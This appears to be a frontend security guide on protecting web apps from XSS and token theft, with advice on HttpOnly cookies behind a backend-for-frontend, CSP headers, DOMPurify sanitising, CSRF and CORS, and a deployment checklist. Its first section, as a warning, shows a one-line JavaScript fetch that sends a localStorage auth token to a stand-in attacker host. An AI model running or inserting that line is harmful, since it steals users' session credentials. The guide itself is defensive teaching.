Introduction
Modern frontend security is no longer limited to simple input escaping. As client-side single page applications (SPAs) and Server-Side Rendered (SSR) frameworks take on sensitive user workflows—such as financial transactions and private user communications—the frontend attack surface expands exponentially.
This blueprint covers actionable controls to reduce XSS, token theft, and unauthorized data access. No single header or cookie flag makes an application secure: authentication, authorization, output encoding, dependency hygiene, and observability must work together.
1. Stop Storing Authentication Tokens in `localStorage`
A widespread anti-pattern in modern web development is storing authentication tokens (JWTs, session IDs) inside localStorage or sessionStorage.
Why `localStorage` is Vulnerable: - `localStorage` is fully accessible to any JavaScript code running in the same origin. - If your application imports a compromised npm dependency or falls victim to a DOM-XSS payload, the attacker can execute: ```javascript fetch("https://attacker-c2.com/steal?token=" + localStorage.getItem("auth_token")); ```
The Solution: Backend-For-Frontend (BFF) & `HttpOnly` Cookies
Instead of handling JWTs directly in client JS:
1. Store the session credential inside `HttpOnly`, `Secure`, and an intentional `SameSite` cookie. Strict is strongest but can affect cross-site entry flows; Lax is often a practical default.
2. Use a lightweight Backend-For-Frontend (BFF) proxy route (e.g. Next.js API Routes / Cloudflare Workers) to handle downstream authentication headers securely.
// Example Next.js Route Handler setting secure session cookie
import { NextResponse } from "next/server";
export async function POST(request: Request) {
const { username, password } = await request.json();
const authResult = await authenticateUser(username, password);
const response = NextResponse.json({ user: authResult.user });
response.cookies.set("session_token", authResult.token, {
httpOnly: true, // Prevents JavaScript from reading the cookie
secure: process.env.NODE_ENV === "production", // Enforces HTTPS
sameSite: "strict", // Protects against CSRF
path: "/",
maxAge: 60 * 60 * 24 * 7, // 7 days
});
return response;
}2. Enforcing Strict Content Security Policy (CSP) Headers
A robust Content Security Policy (CSP) acts as your defense-in-depth barrier against unauthorized script execution.
Recommended Production CSP Policy:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-rAnd0mN0nc3Value'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.yourdomain.com; frame-ancestors 'none'; object-src 'none'; base-uri 'self';3. DOM-Based XSS Prevention
Never use dangerouslySetInnerHTML or raw innerHTML without sanitizing user input through trusted libraries like DOMPurify:
import DOMPurify from "dompurify";
export function UserBio({ rawHtml }: { rawHtml: string }) {
const cleanHtml = DOMPurify.sanitize(rawHtml, {
ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p"],
ALLOWED_ATTR: ["href", "target", "rel"],
});
return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />;
}4. CSRF, CORS, and Session Lifecycle
HttpOnly prevents JavaScript from reading a cookie; it does not prevent the browser from sending that cookie. For state-changing requests, pair SameSite protection with a CSRF token or an origin check when your architecture requires cross-site requests. Keep CORS allowlists explicit—never reflect arbitrary origins with credentials enabled.
Rotate sessions after login and privilege changes, expire them server-side, and provide a revocation path. A secure cookie is only as strong as the endpoint that accepts it.
5. Security Checklist for Frontend Deployments
- [x] All authentication cookies set with
HttpOnly,Secure, andSameSite. - [x] Strict CSP headers enforced via reverse proxy or middleware.
- [x]
X-Content-Type-Options: nosniffheader set to block MIME-type sniffing. - [x]
X-Frame-Options: DENYorframe-ancestors 'none'set to eliminate clickjacking risks. - [x] Dependency vulnerability scanning integrated into CI (
npm audit/ Snyk).